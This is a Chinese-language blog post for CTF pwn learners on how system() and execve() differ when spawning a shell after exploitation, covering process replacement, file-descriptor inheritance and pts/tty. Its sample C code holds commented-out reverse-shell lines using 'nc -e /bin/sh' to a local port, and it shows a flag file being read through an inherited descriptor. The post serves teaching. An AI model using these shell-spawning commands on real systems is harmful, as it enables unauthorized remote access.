Getshell动作:system与execve的原理与异同

命令注入本身就是system函数,内存破坏漏洞的利用如果想获取shell,控制流劫持后也无非是system和execve,那么这二者又有什么区别呢?当你控制流劫持,并成功的getshell后,你可想过,被你打的漏洞进程,他现在过的怎么样了呢?

示例代码仍然使用:

➜  gcc test.c -lpthread -o test && ./test
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>

void *thread1(void *arg){
//    system("/bin/sh");
//    system("/bin/sh &");
//    system("nc -e /bin/sh 127.0.0.1 8888");
//    system("nc -e /bin/sh 127.0.0.1 8888 &")
    while(1){
        printf("thread1         is running\n");
        sleep(1);
    }
}

void *thread2(void *arg){
//    execve("/bin/sh",NULL,NULL);
    while(1){
        printf("thread2         is running\n");
        sleep(1);
    }
}

int main(){
    getchar();
    pthread_t thid1,thid2;
    pthread_create(&thid1,NULL,(void*)thread1,NULL);
    pthread_create(&thid2,NULL,(void*)thread2,NULL);
//    int a = *(int *)0;
    while(1){
        printf("main thread     is running\n");
        sleep(1);
    }
    return 0;
}

system与execve

  1. execve(“/bin/sh”,0,0)是个系统调用,执行后,即使他发生在某个线程中,整个进程的程序也会被换掉,但进程号保留
  2. system(“/bin/sh”)是个库函数,背后的系统调用是:fork + execve + waitpid,所以启动的shell是一个新的进程,老进程还在。也正因为waitpid,所以system才会卡住。

以上的这个道理可以查看man手册,或者使用如上测试代码观察进程以及其内存空间,特意留了一个getchar可以在还没有执行execve前看到程序的pid以及内存布局(/proc/pid/maps)。这也就是为什么当我们用gdb看到我们利用execve和system函数获得shell后的不同效果:

execve:

pwndbg> c
Continuing.
process 55610 is executing new program: /bin/dash

system : execl("/bin/sh", "sh", "-c", command, (char *) 0);

pwndbg> c
Continuing.
[New process 56634]
process 56634 is executing new program: /bin/dash
[New process 56636]
process 56636 is executing new program: /bin/dash

因为system背后执行的是:/bin/sh -c "command" (execl中第二个参数是程序名),所以会启动两个进程,尝试进行如下测试:

tty 
/dev/pts/21
➜  ps -ef | grep -v ps | grep -v grep | grep pts/21
xuanxuan  56767   6924  0 10:02 pts/21   00:00:00 zsh
➜  /bin/sh -c "/bin/sh"                            
$  ps -ef | grep -v ps | grep -v grep | grep pts/21
xuanxuan  56767   6924  0 10:02 pts/21   00:00:00 zsh
xuanxuan  57022  56767  0 10:05 pts/21   00:00:00 /bin/sh -c /bin/sh
xuanxuan  57023  57022  0 10:05 pts/21   00:00:00 /bin/sh

如果是内存破坏漏洞:

  1. 你用exevce函数getshell,原来的进程直接就没了,老进程内容灰飞烟灭,好像他从来没存在过
  2. 你用system函数getshell,原来的进程会卡住,伴随着你getshell结束,system函数返回,由于是内存破坏漏洞,打完之后的进程的内存状态怎么也得有点毛病,返回之后进程就不得善终了

如果是命令注入:

  1. system函数后本身也是正常的业务逻辑,而且业务逻辑里应该会有system命令执行失败的处理,如果系统对线程或者进程有超时检查可能会被干掉,所以一般来说没事。

所以最惨的就是内存破坏漏洞后没用execve的进程,如果是system或者其他shellcode,完成利用功能,如果可以的话,在system或者shellcode后加exit(0),给漏洞进程个死个利索,或者想办法让他复活。

为什么你能和新的shell交互

  • execve(“/bin/sh”,0,0)执行后,sh进程覆盖掉了原来的进程。
  • system(“/bin/sh”)执行后,新启动了一个sh进程。

凭什么二者攻击者都可以进行交互呢?还是可以从man手册中找到答案:

execve:

*  By  default, file descriptors remain open across an execve().  File descriptors that
    are marked close-on-exec are closed; 

system背后是fork+execve+waitpid,所以重点关注fork:

*  The child inherits copies of the parent's set of open file descriptors.   Each  file
    descriptor  in  the  child refers to the same open file description (see open(2)) as
    the corresponding file descriptor in the parent.  This means that the  two  descrip‐
    tors  share  open  file  status  flags,  current  file offset, and signal-driven I/O
    attributes (see the description of F_SETOWN and F_SETSIG in fcntl(2)).

根据man手册的意思,这俩过程都不会关闭文件描述符,我们来测试一下:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main(){

	char a [100]={0};
	int fd = open("/flag",O_RDONLY);
	read(fd,a,100);
	printf("%s",a);
	system("/bin/sh");
	//execve("/bin/sh",0,0);
	return 0;
}

发现果然,无论是使用哪种方式,都能在新的shell中看到3这个文件描述符,而且能查看其内容。另外cat /proc/self/fd/3,这是cat进程,不是shell进程,所以新的shell起得子进程也是能看到flag的:

  tty                                             
/dev/pts/21
  ps -ef | grep -v ps | grep -v grep | grep pts/21
xuanxuan  58665   6924  0 11:25 pts/24   00:00:00 zsh
  ./file                                          
flag{this_is_the_flag}
$ ps -ef | grep -v ps | grep -v grep | grep pts/21
xuanxuan  58665   6924  0 11:25 pts/21   00:00:00 zsh
xuanxuan  58754  58665  0 11:26 pts/21   00:00:00 ./file
xuanxuan  58755  58754  0 11:26 pts/21   00:00:00 sh -c /bin/sh
xuanxuan  58756  58755  0 11:26 pts/21   00:00:00 /bin/sh
$ cat /proc/58756/fd/3
flag{this_is_the_flag}
$ cat /proc/self/fd/3
flag{this_is_the_flag}

而且其实可以进行推理,如果system是可以成功继承父进程的文件描述符,则execve不会关闭文件描述符,因为system用到了execve。那这样岂不是很危险,进程不都是fork+execve出来的么?所以在execve的man手册中其实提到了: File descriptors that are marked close-on-exec are closed,也可以在open的man手册中看到这个flag:O_CLOEXEC。即在execve新程序的时候,指定了这个flag的文件描述符就会被内核关闭。

在一般的Pwn题目中,选手也都是通过漏洞程序的标准输入和标准输出,来和题目进行交互。出题人通过socat或者xinetd,将程序的标准输入输出映射到网络端口上,新来一个连接就起一个进程,映射该连接的socket到进程的0,1,2三个文件描述符上,即标准输入,标准输出,以及标准错误。所以你能和新的shell交互是因为,新的shell进程成功的继承了漏洞进程的文件描述符。

pts是个啥

在上面可以看到,我用到了pts/21,作为过滤进程的条件,这个pts是啥?又为什么用它作为说明”进程及其子进程”的过滤条件呢?

其实很简单,你开两个终端,在其中一个终端里运行一个hello world程序,hello world肯定不会打印在另一个终端界面里,标记这俩终端不是一个的会话标记就是pts。我们可以直接使用tty命令来查看当前shell程序所使用的tty:

  tty
/dev/pts/21

当然你也可以故意给另一个终端发东西:

  tty
/dev/pts/21
  echo 123 > /dev/pts/22
  

我们可以看到在一个终端启动起来的命令行程序,用的都是一个tty,换句话说,在一个终端启动起来的程序,父进程也都是这个终端里的shell进程,这些什么tty,pts,之类的,是开发terminal的程序员关心的,也是他们开发的非常好,才使得我们用的时候非常理所应当,都没有怎么关注过他们的存在。我们可以看一下当前shell进程的fd,以及执行system(“/bin/sh”)后,新shell进程的fd:

   ps -ef | grep -v ps | grep -v grep | grep pts/21
xuanxuan  58665   6924  0 11:25 pts/21   00:00:00 zsh
  ls -al /proc/58665/fd  
total 0
dr-x------ 2 xuanxuan xuanxuan  0 Dec 14 11:25 .
dr-xr-xr-x 9 xuanxuan xuanxuan  0 Dec 14 11:25 ..
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:25 0 -> /dev/pts/21
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:25 1 -> /dev/pts/21
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:25 10 -> /dev/pts/21
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:25 2 -> /dev/pts/21
  ./file 
flag{this_is_the_flag}
$ ps -ef | grep -v ps | grep -v grep | grep pts/21
xuanxuan  58665   6924  0 11:25 pts/21   00:00:00 zsh
xuanxuan  58896  58665  0 11:39 pts/21   00:00:00 ./file
xuanxuan  58897  58896  0 11:39 pts/21   00:00:00 sh -c /bin/sh
xuanxuan  58898  58897  0 11:39 pts/21   00:00:00 /bin/sh
$ ls -al /proc/58898/fd
total 0
dr-x------ 2 xuanxuan xuanxuan  0 Dec 14 11:39 .
dr-xr-xr-x 9 xuanxuan xuanxuan  0 Dec 14 11:39 ..
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:40 0 -> /dev/pts/21
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:40 1 -> /dev/pts/21
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:40 10 -> /dev/tty
lrwx------ 1 xuanxuan xuanxuan 64 Dec 14 11:39 2 -> /dev/pts/21
lr-x------ 1 xuanxuan xuanxuan 64 Dec 14 11:40 3 -> /flag

所以这里面的逻辑是:

  1. 一个终端窗口固定了一个pts,并且运行着一个shell进程,其tty为该窗口的pts,即该进程的012均为此pts
  2. 当在这个终端里执行命令时,命令都是此终端shell里的子进程,这个是shell程序的逻辑
  3. 所以子进程继承了父进程的文件描述符,也就是继承了012,此012对应tty就是当前终端窗口的pts

回到正文,当你攻击漏洞程序时,你肯定已经和漏洞进程完成了某种程度的交互,这个交互在远程的Pwn题目中是映射给socket连接的012,在本地的Pwn题目中是终端窗口pts中的012,所以当执行system("/bin/sh")execve("/bin/sh",0,0)时,新的shell进程交互的接口就是012这三个文件描述符,正因如此,你可以在socket连接上或者本地终端上getshell。